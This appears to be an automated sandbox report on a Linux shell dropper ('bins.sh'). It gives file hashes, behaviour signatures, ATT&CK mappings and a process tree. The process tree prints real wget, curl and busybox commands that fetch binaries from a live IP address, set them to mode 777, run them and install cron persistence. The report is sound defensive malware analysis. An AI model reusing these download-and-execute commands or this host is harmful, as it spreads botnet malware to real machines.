f5c6280c3983c239bf19b631fc87ab2890152c0a2006b38e0fd28149fcfdc131

Analysis

max time kernel
149s
max time network
150s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
23-11-2024 23:20

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General

Target

bins.sh
Size

10KB
MD5

aecf915310e1b57ef84716e66275886b
SHA1

eaa2d293615be82294c26ce4ff7a6bce993a2ecb
SHA256

f5c6280c3983c239bf19b631fc87ab2890152c0a2006b38e0fd28149fcfdc131
SHA512

f892615bfb3e780d6e1e64bff72196a66fe9e933e68d91c63cda8b389afb37f7468f5ab14b3a326236b6f3087003b47f7465dd932ac592ecb3d8f0feb674e351
SSDEEP

96:sf/9QyowY9pP4c92aKRZeNNLQ12R8+4q92aKRZy3NNLQ1yYiB86xf/gFC7owY9py:CQyowY9pPr1R1owY9py

Score

9^/10

defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

Contacts a large (2071) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
File and Directory Permissions Modification 1 TTPs 2 IoCs
Adversaries may modify file or directory permissions to evade defenses.
defense_evasion

Linux and Mac File and Directory Permissions Modification
T1222.002

Processes:

chmodchmod

pid process

1548 chmod
1541 chmod

pid	process
1548	chmod
1541	chmod

Executes dropped EXE 2 IoCs

Processes:

pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgWmvjNh5YuNRsODD4d1gE8Eaurfe8IltW304

ioc	pid	process
/tmp/pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW	1542	pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW
/tmp/mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304	1549	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304

Renames itself 1 IoCs

Processes:

mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304

pid process

1550 mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
execution persistence privilege_escalatio

Cron
T1053.003

Processes:

crontab

description ioc process

File opened for modification /var/spool/cron/crontabs/tmp.yg2Il5 crontab
Enumerates running processes
Discovers information about currently running processes on the system

pid	process
1550	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304

description	ioc	process
File opened for modification	/var/spool/cron/crontabs/tmp.yg2Il5	crontab

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304

description	ioc	process
File opened for reading	/proc/8/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1212/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1681/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1906/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/10/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1555/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1851/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/6/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/80/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1608/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1186/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1742/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/165/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1146/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1328/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1659/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1698/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1563/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1808/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1812/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1857/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1819/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1870/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1876/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/743/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1257/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1603/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1660/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1670/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1649/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1645/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1908/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1764/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1783/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1848/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1850/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1785/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1800/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1588/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1617/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1627/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1700/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1753/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/84/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1884/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1907/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1099/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1747/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1755/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1799/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1888/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/30/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1162/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1250/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1619/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1762/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/163/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1661/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1766/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1864/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/204/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1584/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1846/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1796/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

Processes:

busyboxwgetcurlbusyboxwgetcurl

description	ioc	process
File opened for modification	/tmp/pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW	busybox
File opened for modification	/tmp/mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304	wget
File opened for modification	/tmp/mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304	curl
File opened for modification	/tmp/mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304	busybox
File opened for modification	/tmp/pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW	wget
File opened for modification	/tmp/pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1532
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1533
- /usr/bin/wget
  wget http://216.126.231.240/bins/pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW
  2⤵
  - Writes file to tmp directory
  PID:1534
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW
  2⤵
  - Writes file to tmp directory
  PID:1539
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW
  2⤵
  - Writes file to tmp directory
  PID:1540
- /bin/chmod
  chmod 777 pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW
  2⤵
  - File and Directory Permissions Modification
  PID:1541
- /tmp/pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW
  ./pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW
  2⤵
  - Executes dropped EXE
  PID:1542
- /bin/rm
  rm pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW
  2⤵
  PID:1544
- /usr/bin/wget
  wget http://216.126.231.240/bins/mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
  2⤵
  - Writes file to tmp directory
  PID:1545
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
  2⤵
  - Writes file to tmp directory
  PID:1546
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
  2⤵
  - Writes file to tmp directory
  PID:1547
- /bin/chmod
  chmod 777 mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
  2⤵
  - File and Directory Permissions Modification
  PID:1548
- /tmp/mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
  ./mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:1549
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1551
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1552
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1553
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1554
- /bin/rm
  rm mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
  2⤵
  PID:1556
- /usr/bin/wget
  wget http://216.126.231.240/bins/dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
  2⤵
  PID:1559

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304

Filesize
98KB

MD5
5141342d0df8699fa32a6b066a0c592e

SHA1
8157673225bd5182f16215e2aa823a25ca2d4fbc

SHA256
54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

SHA512
d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

Download Submit
/tmp/pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW

Filesize
107KB

MD5
eb9c3a0de91fcf16ba17cb24608df68c

SHA1
09d95a7d70d5e115d103be51edff7c498d272fac

SHA256
dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

SHA512
9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

Download Submit
/var/spool/cron/crontabs/tmp.yg2Il5

Filesize
210B

MD5
012238080c89f4314969d0ea7fed1e54

SHA1
e9c41830ee56c4d5f759db1a2329f6c43c0f3cc8

SHA256
838f84969d8c191289b618b6c19039fd01de1fcba9ddde3fdffe868a0da0a135

SHA512
9a24b6b7746e689575b9a3641274068834fcc93f20baaa57972e7941d737b343a70ca850c0ea163683b50fcdc582025b373b3e76ff1fb0cf5fdc2b4edb8a8a55

Download Submit